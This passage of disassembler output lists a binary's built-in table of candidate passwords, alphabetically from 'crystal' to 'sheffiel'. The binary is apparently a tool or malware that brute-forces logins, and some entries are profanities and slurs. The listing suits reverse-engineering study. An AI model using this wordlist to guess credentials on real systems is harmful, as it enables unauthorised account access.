		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark		; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDead		; "dead"
		dd offset aDeathsta	; "deathsta"
		dd offset aDebbie	; "debbie"
		dd offset aDeborah	; "deborah"
		dd offset aDebug	; "debug"
		dd offset aDecember	; "december"
		dd offset aDeck		; "deck"
		dd offset aDefault	; "default"
		dd offset aDefault_0	; "DEFAULT"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
		dd offset aDirect	; "direct"
		dd offset aDirector	; "director"
		dd offset aDirty	; "dirty"
		dd offset aDisc		; "disc"
		dd offset aDiscipli	; "discipli"
		dd offset aDisclose	; "disclose"
		dd offset aDiscover	; "discover"
		dd offset aDisk_0	; "disk"
		dd offset aDiskette	; "diskette"
		dd offset aDisney	; "disney"
		dd offset aDisplay_0	; "display"
		dd offset aDoctor	; "doctor"
		dd offset aDollar	; "dollar"
		dd offset aDong		; "dong"
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDude		; "dude"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
off_430050	dd offset aEddie	; DATA XREF: ___:00427B70o
					; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
off_43005C	dd offset aEdit		; DATA XREF: ___:off_427A0Co
					; "edit"
		dd offset aEdition	; "edition"
		dd offset aEducation	; "education"
		dd offset aEducatio	; "educatio"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aEllen	; "ellen"
		dd offset aEmail	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland	; "england"
		dd offset aEnglish	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
		dd offset aEuclid	; "euclid"
		dd offset aEvelyn	; "evelyn"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
		dd offset aExplore	; "explore"
		dd offset aExplorer	; "explorer"
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
		dd offset aFairway	; "fairway"
		dd offset aFaith	; "faith"
		dd offset aFalcon	; "falcon"
		dd offset aFalse	; "false"
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		dd offset aFear		; "fear"
		dd offset aFeds		; "feds"
		dd offset aFelicia	; "felicia"
		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		dd offset aFerrari	; "ferrari"
		dd offset aFidelity	; "fidelity"
		dd offset aField	; "field"
		dd offset aFight	; "fight"
		dd offset aFile		; "file"
		dd offset aFinite	; "finite"
		dd offset aFire		; "fire"
		dd offset aFirewall	; "firewall"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
		dd offset aFlorida	; "florida"
		dd offset aFlower	; "flower"
		dd offset aFlowers	; "flowers"
		dd offset aFood		; "food"
		dd offset aFool		; "fool"
		dd offset aFoolproo	; "foolproo"
		dd offset aFootball	; "football"
		dd offset aForce	; "force"
		dd offset aFord		; "ford"
		dd offset aForesigh	; "foresigh"
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFuck		; "fuck"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHttp_0	; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIcecream	; "icecream"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLoad		; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout	; "logout"
		dd offset aLois		; "lois"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMaint	; "maint"
		dd offset aMalcolm	; "malcolm"
		dd offset aMalcom	; "malcom"
		dd offset aMana		; "mana"
		dd offset aManager	; "manager"
		dd offset aMara		; "mara"
		dd offset aMarci	; "marci"
		dd offset aMarcy	; "marcy"
		dd offset aMaria	; "maria"
		dd offset aMariens	; "mariens"
		dd offset aMarietta	; "marietta"
		dd offset aMarijuan	; "marijuan"
		dd offset aMarines	; "marines"
		dd offset aMark		; "mark"
		dd offset aMarkus	; "markus"
		dd offset aMarni	; "marni"
		dd offset aMarriage	; "marriage"
		dd offset aMars		; "mars"
		dd offset aMarty	; "marty"
		dd offset aMarvin	; "marvin"
		dd offset aMary		; "mary"
		dd offset aMason	; "mason"
		dd offset aMaster	; "master"
		dd offset aMath		; "math"
		dd offset aMaurice	; "maurice"
		dd offset aMeagan	; "meagan"
		dd offset aMegabyte	; "megabyte"
		dd offset aMegadeth	; "megadeth"
		dd offset aMegan	; "megan"
		dd offset aMelissa	; "melissa"
		dd offset aMellon	; "mellon"
		dd offset aMelrose	; "melrose"
		dd offset aMember	; "member"
		dd offset aMemory	; "memory"
		dd offset aMenace	; "menace"
		dd offset aMenu		; "menu"
		dd offset aMercury	; "mercury"
		dd offset aMerlin	; "merlin"
		dd offset aMetal	; "metal"
		dd offset aMetalhea	; "metalhea"
		dd offset aMetalica	; "metalica"
		dd offset aMets		; "mets"
		dd offset aMice		; "mice"
		dd offset aMichael	; "michael"
		dd offset aMichel	; "michel"
		dd offset aMichelan	; "michelan"
		dd offset aMichele	; "michele"
		dd offset aMichelle	; "michelle"
		dd offset aMickey	; "mickey"
		dd offset aMicro	; "micro"
		dd offset aMicrochi	; "microchi"
		dd offset aMicropro	; "micropro"
		dd offset aMicrosof	; "microsof"
		dd offset aMidieval	; "midieval"
		dd offset aMike		; "mike"
		dd offset aMine		; "mine"
		dd offset aMinimum	; "minimum"
		dd offset aMinsky	; "minsky"
		dd offset aMisfit	; "misfit"
		dd offset aMission	; "mission"
		dd offset aMkii		; "mkii"
		dd offset aMode		; "mode"
		dd offset aModem	; "modem"
		dd offset aMogul	; "mogul"
		dd offset aMoguls	; "moguls"
		dd offset aMonday	; "monday"
		dd offset aMonica	; "monica"
		dd offset aMoom		; "moom"
		dd offset aMoor		; "moor"
		dd offset aMoose	; "moose"
		dd offset aMore		; "more"
		dd offset aMorley	; "morley"
		dd offset aMorris	; "morris"
		dd offset aMortal	; "mortal"
		dd offset aMortalco	; "mortalco"
		dd offset aMortgage	; "mortgage"
		dd offset aMosaic	; "mosaic"
		dd offset aMountain	; "mountain"
		dd offset aMouse	; "mouse"
		dd offset aMove		; "move"
		dd offset aMovie	; "movie"
		dd offset aMovies	; "movies"
		dd offset aMozart	; "mozart"
		dd offset aMpeg		; "mpeg"
		dd offset aMsdos	; "msdos"
		dd offset aMuppets	; "muppets"
		dd offset aMutant	; "mutant"
		dd offset aNagel	; "nagel"
		dd offset aName		; "name"
		dd offset aNancy	; "nancy"
		dd offset aNapoleon	; "napoleon"
		dd offset aNasa		; "nasa"
		dd offset aNavy		; "navy"
		dd offset aNepenthe	; "nepenthe"
		dd offset aNeptune	; "neptune"
		dd offset aNess		; "ness"
		dd offset aNetscape	; "netscape"
		dd offset aNetwork_0	; "network"
		dd offset aNewborn	; "newborn"
		dd offset aNews		; "news"
		dd offset aNewsgrou	; "newsgrou"
		dd offset aNewton	; "newton"
		dd offset aNewyork	; "newyork"
		dd offset aNext		; "next"
		dd offset aNice		; "nice"
		dd offset aNicole	; "nicole"
		dd offset aNicotine	; "nicotine"
		dd offset aNight	; "night"
		dd offset aNightmar	; "nightmar"
		dd offset aNintendo	; "nintendo"
		dd offset aNita		; "nita"
		dd offset aNnaacp	; "nnaacp"
		dd offset aNoble	; "noble"
		dd offset aNobody	; "nobody"
		dd offset aNode		; "node"
		dd offset aNoreen	; "noreen"
		dd offset aNotes	; "notes"
		dd offset aNoth		; "noth"
		dd offset aNova		; "nova"
		dd offset aNovel	; "novel"
		dd offset aNovember	; "november"
		dd offset aNoxious	; "noxious"
		dd offset aNuclear	; "nuclear"
		dd offset aNude		; "nude"
		dd offset aNuke		; "nuke"
		dd offset aNukem	; "nukem"
		dd offset aNull_1	; "null"
		dd offset aNumber	; "number"
		dd offset aNutritio	; "nutritio"
		dd offset aNuts		; "nuts"
		dd offset aNyquist	; "nyquist"
		dd offset aObscurit	; "obscurit"
		dd offset aOceanogr	; "oceanogr"
		dd offset aOcelot	; "ocelot"
		dd offset aOffice	; "office"
		dd offset aOkay		; "okay"
		dd offset aOldage	; "oldage"
		dd offset aOlivetti	; "olivetti"
		dd offset aOlivia	; "olivia"
		dd offset aOmega	; "omega"
		dd offset aOpen		; "open"
		dd offset aOpening	; "opening"
		dd offset aOpenlock	; "openlock"
		dd offset aOpensesa	; "opensesa"
		dd offset aOperator	; "operator"
		dd offset aOrca		; "orca"
		dd offset aOrient	; "orient"
		dd offset aOrwell	; "orwell"
		dd offset aOscar	; "oscar"
		dd offset aOsiris	; "osiris"
		dd offset aOutdoors	; "outdoors"
		dd offset aOutlaw	; "outlaw"
		dd offset aOutput	; "output"
		dd offset aOutside	; "outside"
		dd offset aOxford	; "oxford"
		dd offset aPacific	; "pacific"
		dd offset aPackard	; "packard"
		dd offset aPacker	; "packer"
		dd offset aPainless	; "painless"
		dd offset aPaint	; "paint"
		dd offset aPakistan	; "pakistan"
		dd offset aPamela	; "pamela"
		dd offset aPapa		; "papa"
		dd offset aPaper	; "paper"
		dd offset aPapers	; "papers"
		dd offset aPascal	; "pascal"
		dd offset aPassphra	; "passphra"
		dd offset aPaste	; "paste"
		dd offset aPatricia	; "patricia"
		dd offset aPatriot	; "patriot"
		dd offset aPatty	; "patty"
		dd offset aPaula	; "paula"
		dd offset aPeanuts	; "peanuts"
		dd offset aPecker	; "pecker"
		dd offset aPencil	; "pencil"
		dd offset aPenelope	; "penelope"
		dd offset aPenguin	; "penguin"
		dd offset aPenis	; "penis"
		dd offset aPenname	; "penname"
		dd offset aPentagon	; "pentagon"
		dd offset aPentagra	; "pentagra"
		dd offset aPenthous	; "penthous"
		dd offset aPentium	; "pentium"
		dd offset aPeoria	; "peoria"
		dd offset aPepper	; "pepper"
		dd offset aPercolat	; "percolat"
		dd offset aPerfect	; "perfect"
		dd offset aPermit	; "permit"
		dd offset aPersimmo	; "persimmo"
		dd offset aPersona	; "persona"
		dd offset aPervert	; "pervert"
		dd offset aPete		; "pete"
		dd offset aPeter	; "peter"
		dd offset aPhil		; "phil"
		dd offset aPhilip	; "philip"
		dd offset aPhoenix	; "phoenix"
		dd offset aPhone	; "phone"
		dd offset aPhoton	; "photon"
		dd offset aPhrack	; "phrack"
		dd offset aPhrase	; "phrase"
		dd offset aPhreak	; "phreak"
		dd offset aPhuck	; "phuck"
		dd offset aPick		; "pick"
		dd offset aPierre	; "pierre"
		dd offset aPimp		; "pimp"
		dd offset aPinname	; "pinname"
		dd offset aPiss		; "piss"
		dd offset aPizza	; "pizza"
		dd offset aPlane	; "plane"
		dd offset aPlayboy	; "playboy"
		dd offset aPlover	; "plover"
		dd offset aPluto	; "pluto"
		dd offset aPlymouth	; "plymouth"
		dd offset aPoetry	; "poetry"
		dd offset aPolice	; "police"
		dd offset aPolly	; "polly"
		dd offset aPolynomi	; "polynomi"
		dd offset aPonderin	; "ponderin"
		dd offset aPoop		; "poop"
		dd offset aPoor		; "poor"
		dd offset aPork		; "pork"
		dd offset aPorn		; "porn"
		dd offset aPorno	; "porno"
		dd offset aPorsche	; "porsche"
		dd offset aPost		; "post"
		dd offset aPoster	; "poster"
		dd offset aPower	; "power"
		dd offset aPraise	; "praise"
		dd offset aPrecious	; "precious"
		dd offset aPrelude	; "prelude"
		dd offset aPresto	; "presto"
		dd offset aPrince	; "prince"
		dd offset aPrinceto	; "princeto"
		dd offset aPrinter	; "printer"
		dd offset aPriv		; "priv"
		dd offset aPrivate	; "private"
		dd offset aPrivs	; "privs"
		dd offset aProceed	; "proceed"
		dd offset aProcesso	; "processo"
		dd offset aProfesso	; "professo"
		dd offset aProfile	; "profile"
		dd offset aProgram	; "program"
		dd offset aPrompt	; "prompt"
		dd offset aProtect	; "protect"
		dd offset aProtozoa	; "protozoa"
		dd offset aPsycho	; "psycho"
		dd offset aPsychopa	; "psychopa"
		dd offset aPublic	; "public"
		dd offset aPuck		; "puck"
		dd offset aPuke		; "puke"
		dd offset aPumpkin	; "pumpkin"
		dd offset aPuneet	; "puneet"
		dd offset aPunisher	; "punisher"
		dd offset aPunk		; "punk"
		dd offset aPuppet	; "puppet"
		dd offset aPussy	; "pussy"
		dd offset aQuebec	; "quebec"
		dd offset aQwert	; "qwert"
		dd offset aQwerty	; "qwerty"
		dd offset aRabbit	; "rabbit"
		dd offset aRachel	; "rachel"
		dd offset aRachelle	; "rachelle"
		dd offset aRachmani	; "rachmani"
		dd offset aRaid		; "raid"
		dd offset aRain		; "rain"
		dd offset aRainbow	; "rainbow"
		dd offset aRaindrop	; "raindrop"
		dd offset aRaleigh	; "raleigh"
		dd offset aRandom	; "random"
		dd offset aRape		; "rape"
		dd offset aRascal	; "rascal"
		dd offset aRazor	; "razor"
		dd offset aReagan	; "reagan"
		dd offset aReality	; "reality"
		dd offset aReally	; "really"
		dd offset aReam		; "ream"
		dd offset aReaper	; "reaper"
		dd offset aRebal	; "rebal"
		dd offset aRebecca	; "rebecca"
		dd offset aRebel	; "rebel"
		dd offset aRecord	; "record"
		dd offset aReddawn	; "reddawn"
		dd offset aRedhead	; "redhead"
		dd offset aReferenc	; "referenc"
		dd offset aRegional	; "regional"
		dd offset aRelease	; "release"
		dd offset aRemote	; "remote"
		dd offset aRenee	; "renee"
		dd offset aReno		; "reno"
		dd offset aRent		; "rent"
		dd offset aReport	; "report"
		dd offset aRepublic	; "republic"
		dd offset aResistan	; "resistan"
		dd offset aReveal	; "reveal"
		dd offset aRhino	; "rhino"
		dd offset aRich		; "rich"
		dd offset aRick		; "rick"
		dd offset aRiffraff	; "riffraff"
		dd offset aRight	; "right"
		dd offset aRightwin	; "rightwin"
		dd offset aRing		; "ring"
		dd offset aRiot		; "riot"
		dd offset aRipple	; "ripple"
		dd offset aRisc		; "risc"
		dd offset aRoach	; "roach"
		dd offset aRobert	; "robert"
		dd offset aRobin	; "robin"
		dd offset aRobot	; "robot"
		dd offset aRobotics	; "robotics"
		dd offset aRobyn	; "robyn"
		dd offset aRochelle	; "rochelle"
		dd offset aRocheste	; "rocheste"
		dd offset aRock		; "rock"
		dd offset aRocky	; "rocky"
		dd offset aRockyhor	; "rockyhor"
		dd offset aRodent	; "rodent"
		dd offset aRolex	; "rolex"
		dd offset aRomano	; "romano"
		dd offset aRomeo	; "romeo"
		dd offset aRomulan	; "romulan"
		dd offset aRonald	; "ronald"
		dd offset aRose		; "rose"
		dd offset aRosebud	; "rosebud"
		dd offset aRosemary	; "rosemary"
		dd offset aRoses	; "roses"
		dd offset aRough	; "rough"
		dd offset aRubber	; "rubber"
		dd offset aRuben	; "ruben"
		dd offset aRuby		; "ruby"
		dd offset aRude		; "rude"
		dd offset aRules	; "rules"
		dd offset aRunning_0	; "running"
		dd offset aRush		; "rush"
		dd offset aRuth		; "ruth"
		dd offset aSafe		; "safe"
		dd offset aSalami	; "salami"
		dd offset aSale		; "sale"
		dd offset aSalt		; "salt"
		dd offset aSamantha	; "samantha"
		dd offset aSample	; "sample"
		dd offset aSandra	; "sandra"
		dd offset aSandy	; "sandy"
		dd offset aSara		; "sara"
		dd offset aSarah	; "sarah"
		dd offset aSaturday	; "saturday"
		dd offset aSaturn	; "saturn"
		dd offset aSaxon	; "saxon"
		dd offset aScamper	; "scamper"
		dd offset aScheme	; "scheme"
		dd offset aSchool	; "school"
		dd offset aSchoolsucks	; "schoolsucks"
		dd offset aScifi	; "scifi"
		dd offset aScorpion	; "scorpion"
		dd offset aScott	; "scott"
		dd offset aScotty	; "scotty"
		dd offset aScout	; "scout"
		dd offset aSearch	; "search"
		dd offset aSecurity	; "security"
		dd offset aSeed		; "seed"
		dd offset aSega		; "sega"
		dd offset aSensor	; "sensor"
		dd offset aSentinel	; "sentinel"
		dd offset aSentry	; "sentry"
		dd offset aSerenity	; "serenity"
		dd offset aSerial_0	; "serial"
		dd offset aService	; "service"
		dd offset aSesame	; "sesame"
		dd offset aSexy		; "sexy"
		dd offset aShannon	; "shannon"
		dd offset aSharc	; "sharc"
		dd offset aShark	; "shark"
		dd offset aSharks	; "sharks"
		dd offset aSharon	; "sharon"
		dd offset aSheffiel	; "sheffiel"
